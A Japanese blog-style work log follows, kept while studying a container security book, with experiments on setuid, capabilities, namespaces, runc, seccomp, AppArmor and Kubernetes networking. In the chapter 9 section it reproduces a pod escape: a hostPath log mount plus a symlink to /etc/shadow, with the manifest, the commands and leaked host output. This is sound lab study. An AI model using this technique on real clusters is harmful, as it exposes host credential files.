コンテナセキュリティ 書評

## 最初に

https://prtimes.jp/main/html/rd/p/000005168.000005875.html

を一通り読んだ。コンテナに関する基本技術と如何にコンテナ自体を攻撃・脅威から守るかの手法を具体的に記載してあり、セキュリティ関係者のみならずコンテナを利用してアプリケーションを開発する人にも必読な内容と思える。

ただ、結構手を動かして検証する内容だったので自分なりに色々作業した内容やそれに関わる結果見たいな物を記載していこうと思う。

このドキュメントはコンテナセキュリティの本の概要を記載した物ではなく、この本をベースに色々作業した内容の作業ログみたいな感じなので注意してね。

章が飛んだり跳ねたりするぞ

# とりあえず通読した感想

## 良かった点

- 結構低レイヤー(システムコールとかそこらまでだけど)まで手を動かして見れたのが良かった
- 一節一節が短く、読みやすい。社会人に優しい
- 派生のドキュメントが凄い豊富
  - eBPFの解説だったり、Traceeだったり、[OWASP Kubernetes Top Ten](https://owasp.org/www-project-kubernetes-top-ten/)だったり
- セキュリティチェックリストとか章毎にまとめとかあるぞ。

## 微妙だなと感じた点

- 前提条件省いている箇所多くない?
  - capabilityの確認とか、動作環境をちゃんと明記して欲しかった。微妙に挙動に差があってこれって本当にあってるか不安になる。
  - ネットワークポリシーの説明になんの前振りも無くWaave使ってますとか

総じて読んで良かったと思える技術書だと思う。

以下作業内容



# 2章 Linuxシステムコール、パーミッション、capability
## 2.2 ファイルパーミッション/setuid, setgidスティッキービット

### Ubuntuだとpingが特権を必要としない

解説ではpingはファイルソケットを開くにはsetuidビットが有効になっていないと実行出来ないとあるが、現在のよく利用される環境であるUbuntu 20.04ではsetuidビットが有効になっておらず、当然コピーしたファイルを実行しても動作できてしまう。

参考) https://t.co/wmmV0zNed7

passwdとかなら確認可能。以下再現手順

```
ls -l `which passwd`
-rwsr-xr-x 1 root root 68208 Nov 29  2022 /usr/bin/passwd
useradd test
passwd
//password設定

login test
cp `which passwd` mypasswd
./mypasswd 
Changing password for test.
Current password: 
New password: 
Retype new password: 
passwd: Authentication token manipulation error
passwd: password unchanged
chown root mypasswd
chmod +s mypasswd
Changing password for test.
Current password: 
New password: 
Retype new password: 
passwd: password updated successfully
```

`userdel`コマンドでユーザーの削除を忘れずに

### straceでsetuid システムコールを確認出来ない

pingはsetuidが設定されておりroot所有者で実行しても、通常ならroot実行になるところが実行ユーザーの権限で実行されている。
setuidの権限昇格の脆弱性を防ぐためにping自体がsetuidで実行するユーザーを変更しているとの説明をしている。
この際に応用として`strace -f -pP <プロセスID>`でsetuidが取得出来ているかを確認してみよとあるが、これには落とし穴が二つある

1. -Pオプションが使えない
2. setuidはping実行時の最初の方で実行されるため、すごい素早くプロセスIDを設定しない確認出来ない

なので

```
strace -fvttT -e trace=setuid ./myping localhost
// output
13:36:21.600301 setuid(1000)            = 0 <0.000084>
```

とやると最初から確認出来るぞ

## 2.3 capability
2.3にubuntu 20.02以降はcapabilityではなく net.ipv4.ping_group_rangeで任意のgroup idの範囲を広げているからcapabilityがなくともping出来るようになっていると解説があった。

まとめるとdefault設定では net.ipv4.ping_group_rangeは以下のように設定されている

```
sudo sysctl net.ipv4.ping_group_range
net.ipv4.ping_group_range = 0	2147483647
```

ここでrangeを狭めてsetuid bitが設定されていないcopyしたpingバイナリを実行すると

```
 ./myping.org localhost
./myping.org: socket: Operation not permitted
```

となる。
ここでcapabilityを設定するとちゃんと動作する

```
sudo setcap "cap_net_raw+p" myping.org
$ ./myping.org localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.037 ms
```

またこの状態でも通常のpingは動作している

```
ping localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.037 ms
```

このcapabilityをチェックすると

```
getcap `which ping`
/usr/bin/ping = cap_net_raw+ep
```
となっている

がgetcapがよく分かっておらず例えば、chownにはファイルの所有者を変更するためにCAP_CHOWN capabilityが必要とのことだが、

```
getcap `which chown`
// なにも表示されず
```

となる。
ping以外はこういう表示になるし,何ならpingも最初はこんな感じだった気がする.

-> いやこれはrootでしか実行出来ないからファイルと言うより、rootでcapabilityが付与するやつだ

またrootのbashプロセスはめっちゃcapability持ってるって言ってたけど

```
getpcaps 939152(このプロセス番号がbashのプロセスID)
939152: =ep
```

とでてcapabilitiesが空になってる。古いOSとか他のOSだと同なのか知りたい
Docker image辺りでbashのcapability見たら

```
getpcaps 207
207: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
```
な感じなってたから多分Ubuntuがセキュリティ対策っぽいのが入ってるような気がする?

総合すると特殊な権限で実行するには以下の方法がある

1. setuid bitを設定するとことで所有者をrootとすることでroot権限で実行可能
   1. pingはroot権限で実行しないようにしているからこの方法はpingでは利用出来ない
      1. いや出来るわ。なんで出来るんだ。
         1. あーsetuidする前に明示的に必要な権限を追加しているのかー。偉い
2. net.ipv4.ping_group_rangeのrangeに実行groupidを含めるようにする
3. capability: cap_net_raw+epと言ったような権限をファイルに付与する

# 3章　コンテナグループ
## 3.2 cgroupの作成

何も考えずに本の通り

```
sudo runc run sh
```

と実行すると

```
runc run sh
ERRO[0000] runc run failed: JSON specification file config.json not found 
```

となる。

https://south37.hatenablog.com/entry/2020/12/11/%E6%89%8B%E3%82%92%E5%8B%95%E3%81%8B%E3%81%97%E3%81%A6%E5%AD%A6%E3%81%B6%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A%E6%A8%99%E6%BA%96_-_Container_Runtime_%E7%B7%A8

あたりを見ると

```
mkdir workdir; cd workdir
runc spec
```

を実行すると`config.json`が生成され

```
$ mkdir rootfs
$ docker export $(docker create busybox) | tar -C rootfs -xvf -
```

ってやるとbusyboxのroot filesystemが作成される

その後root権限で

```
runc run sh
/ #
```

を実行するとちゃんとcontainerが作成される

# 3.4 cgroupへのプロセスの割り当て

bashのプロセスIDをmemory.limit_in_bytesを10000にした上でcgroup.procsに追記しているけど、次のコマンド

```
cat /proc/<processid>/cgroup | grep memory
```
ってやるとそのままメモリ不足で死なない？

別アカウントとかでログインすると見れるからセーフ

# 4章 コンテナの分離

## 4.3 プロセスIDの分離

`--fork`をつけない場合の`unshare`コマンドを実行した後の最初のコマンドのプロセスの生え方

```
ps fa
    PID TTY      STAT   TIME COMMAND
1705844 pts/1    Ss     0:00 -bash
1705956 pts/1    R+     0:00  \_ ps fa
1705027 pts/0    Ss     0:00 -bash
1705940 pts/0    S      0:00  \_ sudo unshare --pid sh
1705941 pts/0    S      0:00      \_ sh
1705946 pts/0    S+     0:00          \_ sleep 1000
```

shの子プロセスとして実行されていることが分かる

`--fork`をつけた場合のプロセス

```
ps fa
    PID TTY      STAT   TIME COMMAND
1705844 pts/1    Ss     0:00 -bash
1706805 pts/1    R+     0:00  \_ ps fa
1705027 pts/0    Ss     0:00 -bash
1706704 pts/0    S      0:00  \_ sudo unshare --pid --fork sh
1706705 pts/0    S      0:00      \_ unshare --pid --fork sh
1706706 pts/0    S      0:00          \_ sh
1706799 pts/0    S+     0:00              \_ sleep 1000
```

## 4.4 root ディレクトリの変更

[rootfs](https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-minirootfs-3.18.2-x86_64.tar.gz)のlinkだけ貼っとく

## 4.7 network namespace

なんかちょっと良く理解できていない。とりあえずunshareでnetwork namespaceを実行してネットワークインターフェースとルーティングテーブルを分離させる訳だけど
networkをコンテナ外やホストと通信するために`ip link`を使ってネットワークインターフェースを作成する必要がある

```
ip link xxxx(細かいコマンドは本書参照)
```

を**コンテナ**側で実行するとホスト側にも対応したネットワークインターフェースが作成される。その後ホスト側のインターフェース(ve2)とコンテナ側のインターフェースをupして各インターフェースにipを追加する(ip addr addコマンド)

その際に指定されるコマンドは

```
// ホスト側
ip addr add 192.168.1.200/24 dev ve1
```

```
// コンテナ側
ip addr add 192.168.1.100/24 dev ve1
```

疎通を確認するためにコンテナ側からリモートエンドポイントに以下のようにpingせよと言う物だった

```
ping 192.168.1.100
```

まずホスト側からve1インターフェースは見えていないはずだから多分

```
// ホスト側
ip addr add 192.168.1.200/24 dev ve2
```

こうなるはず

でpingでve1 -> ve2だから

```
ping 192.168.1.200
```

じゃないと通信出来なかった

# 4.8 user namespace

dockerだとuser namespaceを導入されていないという話だけど、その場合コンテナ上のrootってどういう感じで権限保障されてるの？

```
echo $$
```

は現在のシェルのPIDが表示されます。

useridをマッピングしたら、コンテナ側はrootになることは確認出来たけどcapablityはCurrentに特に付与された無かった。これは2章で言及した話と同じなのであまり気にしなくて良いかも

```
capsh --print
WARNING: libcap needs an update (cap=40 should have a name).
Current: =ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40
Ambient set =
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=65534(nogroup)
groups=65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup),65534(nogroup)
Guessed mode: UNCERTAIN (0)

```

## 4.9 ipc namespace

一応コンテナ内で`ipcmk -M 1000`を実行したら、コンテナ内からはshared memory見えるけどホストからはshared memory見えない事が確認出来た

# 5章

## 5.3 トラップ&エミュレート

「特権がないセンシティブ命令」は「仮想化不可」である。という説明の理由がちょっと日本語が分かりづらかったので、自分が理解しやすい言葉で書き直しておく。

前提条件としては
1. カーネルコードはリング0で動作するが仮想化(VMM)を利用するとゲストコードのカーネルはそれよりも低い特権上で動く可能性がある。
2. カーネルが吐き出す命令はリング0とそれ以外の低特権では動作が違う可能性がある。
3. VMMはゲストOSで動いているカーネルの特権を必要とする命令を肩代わりしてリン0で動かしてくれる

という挙動をするが、いわゆるセンシティブ命令(マシンのリソースに影響を与える強い命令)の中でもなぜか特権を必要としない場合がある。
この場合、2の理由により意図しない挙動となり動くか保証出来ない

故にこの手の命令は仮想化不可となり、特殊な対応が必要となる。

具体的な命令は5.4にいくつか例がある

# 6章

## 6.3 OCI標準

Ubuntu 20.04だとskopeoがaptでインストール出来ない

いきなり出てくる

```
skopeo copy docker://alpine:latest oci:alpine:latest
```

って何してるの？これ実行するとローカルにalpineディレクトリできたけどさ、Skepoの説明にDockerイメージからOCI形式のイメージが生成されると書いてあるから、このalpineディレクトリは多分oci形式なんだろう。

だがだな、次に`runcのようなOCIに準拠したランタイムはこのフォーマットを直接的に扱うことは出来ません`とある。
おめー今出力されたのは`OCIフォーマットのイメージ`じゃねーのか！
だったらOCIに準拠しているruncだと読めそうだろうが！意味分かんねー!!

とりあえずそれは置いておいてイメージの中身を見るには
1. skopeoでociフォーマットイメージを作成
2. そのOCIイメージをumociで解凍している

って事？[参考](https://umo.ci/quick-start/getting-an-image/)

## 6.11 イメージデプロイメントのセキュリティ

アドミッションコントロールの部分が何言ってるのかさっぱり分からん。実行前にイメージのセキュリティチェックをする機構くらいしか読み取れない。

アドミッションコントロールって別にKubernetesに限っていうなら必ずしもimageのセキュリティの話ではなくないか？
と思ったけど、本にも色んなアドミッションポリシーがありその中の一つにイメージのチェックとかバリデートとかがあるっぽい?

https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/
この中のPodSecurityが該当しそう
https://kubernetes.io/ja/docs/concepts/security/pod-security-admission/
ただこの中に信頼されたレジストリから提供されたかみたいなPolicy無くない？

# 8章

## 8.1 seccomp
実際にseccompを導入するチュートリアルをMac M1でためしてみた。
https://kubernetes.io/docs/tutorials/security/seccomp/
:warning: kubernetesのseccomp対応としてPodSecurityPolicyを使う方法があると記載があったが、現在ではdeprecatedになってPodSecurityAdmissionに移行を推奨している。違いは分からん。
## チュートリアルの話
上記チュートリアルをMac M1で試してみたが、利用している軽量web serverである[http-echo](https://github.com/hashicorp/http-echo)がarm64のバイナリがないため、動かなかった。
そこでnginxを自前で用意して、それを代わりに使用した。
その際に以下の点で引っかかったので、メモしておく。
環境としては
- Mac M1
- kind as kubernetes cluster
である。
### ローカルでの軽量web serverのビルド
```
 % cat Dockerfile 
FROM nginx
COPY index.html /usr/share/nginx/html/index.html
% cat index.html 
Hello, World!
docker build -t simple_server .
```
### kindにローカルのイメージをpushする
```
kind load docker-image simple_server:latest
```
### manifestにdocker registryからではなくローカルからpullするように設定
```
apiVersion: v1
kind: Pod
metadata:
  name: audit-pod
  labels:
    app: audit-pod
spec:
  securityContext:
    seccompProfile:
      type: Localhost
      localhostProfile: profiles/audit.json
  containers:
  - name: test-container
    image: simple_server
    imagePullPolicy: Never
    securityContext:
      allowPrivilegeEscalation: false
```
ここのimagePullPolicyをNeverにすることで、ローカルのイメージをpullするようになる。
チュートリアルの他のfine-podやviolation-podも同様に設定する。
### seccompファイルの設定
seccompファイルはsyscallを許可するものと、許可しないものを設定するものである。
[ここ](https://k8s.io/examples/pods/security/seccomp/profiles/audit.json)が例になるが、これはあくまでhttp-echoの例であり、nginxの例ではない。
従って、nginxのsyscallを許可するものを設定する必要がある。
#### seccompのauditをmacで動かす場合
seccomののデフォルトアクションが`SCMP_ACT_LOG`の場合、syslogにsyscallのログが出力されるらしいが、m1だとログが出力されないようだ。ただデフォルトアクションを`SCMP_ACT_ERRNO`にすると、Permission deniedが出力されるので一応動いているっぽい
### nginxのsyscallを許可するseccompファイル
これを作成するために本書で解説があったeBPFベースのユーティリティである[tracee](https://aquasecurity.github.io/tracee/v0.17/)を使ってみた。
結論から言うとM1では動かなかった。githubのissueを眺めてみるとなんか動きそうな気配を感じるが、現象としては動かすと
```
% docker run \
  --name tracee --rm -it \
  --pid=host --cgroupns=host --privileged \
  -v /etc/os-release:/etc/os-release-host:ro \
  aquasec/tracee:aarch64-dev
INFO: starting tracee...
{"level":"fatal","ts":1691378146.0452144,"msg":"Tracee runner failed","error":"cmd.Runner.Run: error initializing Tracee: ebpf.(*Tracee).Init: ebpf.(*Tracee).NewKernelSymbols: invalid ksymbol table (capabilities issue ?)"}
```
こういうエラーが発生する。中身をちょっと見ると[ここら辺](https://github.com/aquasecurity/tracee/blob/12101ff4a06d411c0c6ddd2ee3b79e31b6cf5cb7/pkg/ebpf/ksymbols.go#L62)でエラーが発生しており、traceeを動かすにはkallsymsの`security_file_open`の権限が必要で、コンテナを動かすと`/proc/kallsyms`が見えないため(または存在しない)ため動かないっぽい。
そもそもarm64がサポートされていないのかもしれないが,linux/arm64/v8だからMac M1のarm64では動かないのかもしれない。
ちなみにkallsymsの権限をみる処理の中身は
[ここ](https://github.com/aquasecurity/libbpfgo/blob/919203a07e1722c48096777f2d94ec2da9bd4561/helpers/kernel_symbols.go#L193)
なんか悔しいから、次はlinux上で試してみたい

### tracee

[Events概要](https://aquasecurity.github.io/tracee/v0.17/docs/events/overview/)
ここにSetの扱いとか

後、なんか`--config`でconfigファイルを設定しても読み込んでない気がする。

[0.17.1以降](https://github.com/aquasecurity/tracee/issues/3369)ならちゃんとconfig読んでくれるようになったらしい

ただ、監視に役に立つかもだけど、単純にseccompで制御するsyscallならstraceで検知した方が漏れがなくて良い気がする

Policyのアップデータ方法について:[公式](https://aquasecurity.github.io/tracee/v0.17/tutorials/k8s-policies/#add-a-new-tracee-policy)

## 8.2 AppArmor

[これ](https://kubernetes.io/docs/tutorials/security/apparmor/#setting-up-nodes-with-profiles)やろうと思ったんだけど、kindだとapparmor入ってない。

aksをメインに使っているので[この手順](https://learn.microsoft.com/ja-jp/azure/aks/operator-best-practices-cluster-security?tabs=azure-cli)でいけるかなと思ったら

```
# sudo apparmor_parser deny-write.profile
apparmor_parser: Unable to add "k8s-apparmor-example-deny-write".  Permission denied; attempted to load a profile while confined?
```

こんなん出てきた
```
chroot host
```
で[特権アカウント](https://learn.microsoft.com/ja-jp/azure/aks/node-access#next-steps)取ったんだけど、これでいいんだよね？ちょっとSR投げても良いかも

[こっち](https://learn.microsoft.com/ja-jp/azure/aks/node-access#update-ssh-public-key-on-an-existing-aks-cluster-preview)の方法でsshログインしたらAppArmor設定出来た。上の方でもnodeにアクセスは出来たんだけど何が違うんだろ。

ちゃんとサンプルのAppArmorを適用したら書き込みが出来なくなりました。

```
root@hello-apparmor:/# touch test
touch: cannot touch 'test': Permission denied
```

# 9章

## 9.1 デファオルとでのコンテナのroot実行

mac m1の場合sleep後にpsでsleepを見ようとしても見つからない
つーかlinuxでもsleepのプロセス見えなかった。謎
`sleep 1000`したら動かなくなってしまったので無理矢理killして再度実行しようとしたら

```
runc run failed: container with given ID already exists 
```
って出てきた。

とりあえず
```
rm -rf /run/runc/sh
```

で削除したら起動は出来るようになった。

ちなみに非rootのnginx起動したら

```
# docker run -d --name nginx_nonroot nginxinc/nginx-unprivileged
```

```
# docker top nginx_nonroot
UID                 PID                 PPID                C                   STIME               TTY                 TIME                CMD
systemd+            76782               76763               0                   12:48               ?                   00:00:00            nginx: master process nginx -g daemon off;
systemd+            76833               76782               0                   12:48               ?                   00:00:00            nginx: worker process
```

ちゃんとsystemdユーザーで起動していました

## 9.2 --privileged オプションとcapability
--privilegedをつけると := eqになるんだけど....

```
docker run --rm -it --privileged alpine sh -c 'apk add -U libcap; capsh --print | grep Current'
fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.18/community/x86_64/APKINDEX.tar.gz
(1/3) Installing libcap2 (2.69-r0)
(2/3) Installing libcap-utils (2.69-r0)
(3/3) Installing libcap (2.69-r0)
Executing busybox-1.36.1-r0.trigger
OK: 8 MiB in 18 packages
Current: =ep
Current IAB: 
```

https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

仕組みは分かったけど/var/logsってマウントできるん?

kindだとできて笑う。へー。中身を見るとちゃんとホスト側の/etc/shadowみれるっぽい

以下方法

``` mount.yaml
apiVersion: v1
kind: Pod
metadata:
  name: redis
spec:
  containers:
  - name: redis
    image: redis
    volumeMounts:
    - name: logs
      mountPath: /var/log/host
  volumes:
  - name: logs
    hostPath:
      path: /var/log/
      type: Directory
```

```
sudo kubectl exec -it redis -- /bin/bash
cd /var/log/host/pods/default_redis_1c33f305-c86a-4708-869d-9d8f314ad9d9/redis
ln -sf /etc/shadow 0.log
exit
sudo kubectl logs -f redis
failed to get parse function: unsupported log format: "root:*:19499:0:99999:7:::\n
```

データ見るとちゃんとhost側の/etc/shadowを読んでるっぽい

# 10章

## 10.6 L3/L4ルーティングとルール

```
sudo kubectl get svc, pods -o wide
error: arguments in resource/name form must have a single resource and name
```

podsとsvc別々でしか指定ができない。過去は出来たのか、まぁ分かるやろの精神で書いたのか -> できるわ. -> いや違う`pods`がだめ

kindで動かしている場合、記載があるようにdestinationにnode portが設定されているルールが見えなかった.

```
sudo kubectl get svc -o wide
NAME         TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)   AGE     SELECTOR
kubernetes   ClusterIP   10.96.0.1       <none>        443/TCP   3d12h   <none>
sample       ClusterIP   10.96.124.154   <none>        80/TCP    16m     app=sample
azureuser@debugvpn:~/seccomp$ sudo kubectl get pods -o wide
NAME                                 READY   STATUS    RESTARTS        AGE     IP            NODE                 NOMINATED NODE   READINESS GATES
sample-deployment-5df8b59675-blmnx   1/1     Running   0               22m     10.244.0.15   kind-control-plane   <none>           <none>
sample-deployment-5df8b59675-jmhpk   1/1     Running   0               22m     10.244.0.16   kind-control-plane   <none>           <none>
```

後無言でpod replicaとserviceをkubeにデプロイ出来る事を前提としているが、

```deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: sample-deployment
  labels:
    app: sample
spec:
  replicas: 2
  selector:
    matchLabels:
      app: sample
  template:
    metadata:
      labels:
        app: sample 
    spec:
      containers:
      - name: audit-pods
        image: simple_server 
        imagePullPolicy: Never 
        ports:
        - containerPort: 80
```
と

``` service
apiVersion: v1
kind: Service
metadata:
  name: sample 
spec:
  selector:
    app: sample
  ports:
  - protocol: TCP
    port: 80
    targetPort: 80
```

はこれを使う

なおkindを利用している場合dockerで構築したkindsetの中に入って

```
iptables -t nat -L

```

を実行するとKUBE-SVC-xxxxなるルールが見える

```
Chain KUBE-SERVICES (2 references)
target     prot opt source               destination         
KUBE-SVC-ERIFXISQEP7F7OF4  tcp  --  anywhere             10.96.0.10           /* kube-system/kube-dns:dns-tcp cluster IP */ tcp dpt:domain
KUBE-SVC-JD5MR3NA4I4DYORP  tcp  --  anywhere             10.96.0.10           /* kube-system/kube-dns:metrics cluster IP */ tcp dpt:9153
KUBE-SVC-RR2KUVXP4DWCO7ZJ  tcp  --  anywhere             10.96.124.154        /* default/sample cluster IP */ tcp dpt:http
KUBE-SVC-NPX46M4PTMTKRN6Y  tcp  --  anywhere             10.96.0.1            /* default/kubernetes:https cluster IP */ tcp dpt:https
KUBE-SVC-TCOU7JCQXEZGVUNU  udp  --  anywhere             10.96.0.10           /* kube-system/kube-dns:dns cluster IP */ udp dpt:domain
Chain KUBE-SVC-RR2KUVXP4DWCO7ZJ (1 references)
target     prot opt source               destination         
KUBE-MARK-MASQ  tcp  -- !10.244.0.0/16        10.96.124.154        /* default/sample cluster IP */ tcp dpt:http
KUBE-SEP-TVJ6EHZKL236HYIJ  all  --  anywhere             anywhere             /* default/sample -> 10.244.0.15:80 */ statistic mode random probability 0.50000000000
KUBE-SEP-AW7MGQXG5T44ZBBI  all  --  anywhere             anywhere             /* default/sample -> 10.244.0.16:80 */
```

Cluster IP: 10.96.124.154にアクセスされたらKUBE-SVC-RR2KUVXP4DWCO7ZJのルールに行って50%の確率でKUBE-SEP-TVJ6EHZKL236HYIJとKUBE-SEP-AW7MGQXG5T44ZBBIに行ってる？
ちなみにKUBE-SEPは

```
Chain KUBE-SEP-AW7MGQXG5T44ZBBI (1 references)
target     prot opt source               destination         
KUBE-MARK-MASQ  all  --  10.244.0.16          anywhere             /* default/sample */
DNAT       tcp  --  anywhere             anywhere             /* default/sample */ tcp to:10.244.0.16:80
```
って感じ

まぁなんとなくノリは分かるけどiptablesの表示の見方忘れちゃったなぁ

## 10.7 NetworkPolicy

もうこれKubeの勉強やね。

```
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: access-nginx
spec:
  podSelector:
    matchLabels:
      app: my-nginx
  ingress:
    - from:
      - podSelector:
          matchLabels:
                  app: "sample" 
```

で実行したところ、ちゃんとnetwork policyを作成出来たのだがiptablesからは確認出来なかった

```
// コントロールプレーンにログインした後
 iptables -t nat -L | grep sample
 iptables -nL | grep sample

```

を実行しても該当箇所なし。

そもそも本では、ネットワークポリシーはコア機能では無くプラグインだーって言ってて実は[weave](https://www.weave.works/docs/net/latest/kubernetes/kube-addon/)使ってるんだわと言われるが、そもそもこっちはネットワークプラグインとかAddOnとか特にインストールしてないんだが、デフォルトってなんだ？

https://kubernetes.io/docs/concepts/extend-kubernetes/compute-storage-net/network-plugins/#network-plugin-requirements

```
By default, if no kubelet network plugin is specified, the noop plugin is used, which sets net/bridge/bridge-nf-call-iptables=1 to ensure simple configurations (like Docker with a bridge) work correctly with the iptables proxy.

```

ここの話か

でもiptables proxyって書いてあるから普通に設定されているように見えるけどな。

[ここ](https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/)にチュートリアルがある。試しになんもplugin設定しない状態でやってみようかな

何も設定していない状態でnodeサーバーからiptablesのフィルタを確認すると

```
iptables -nL  | grep access-nginx
//なんも表示されない
```

何も表示されないが

[Calico](https://kubernetes.io/docs/tasks/administer-cluster/network-policy-provider/calico-network-policy/)を利用したところ

```
root@kind-control-plane:/# iptables -nL  | grep access-nginx 
MARK       all  --  0.0.0.0/0            0.0.0.0/0            /* cali:mec_qLKt5tp-hyPz */ /* Policy default/knp.default.access-nginx ingress */ match-set cali40s:vo4-kfEnOosXkVLJ1lskp4l src MARK or 0x10000
```

なんか出てきた

```
Chain cali-to-wl-dispatch
...
```

calicoが作成したフィルタルールも出てきたし適用されてるんじゃ無いかな？
だたhelmでインストールしたところ、負荷か何かで全然APIが通らなくなったため、地味に動作確認がちゃんと出来ず

とういか何もネットワークプラグインが設定されていない状態でもなんか設定だけ出来るの何で？

# 13章

## 13.1　コンテナイメージプロファイル

openatってなーにと思ったら[これっぽい](https://manpages.ubuntu.com/manpages/trusty/ja/man2/openat.2.html)
ファイルをオープンするためのシステムコール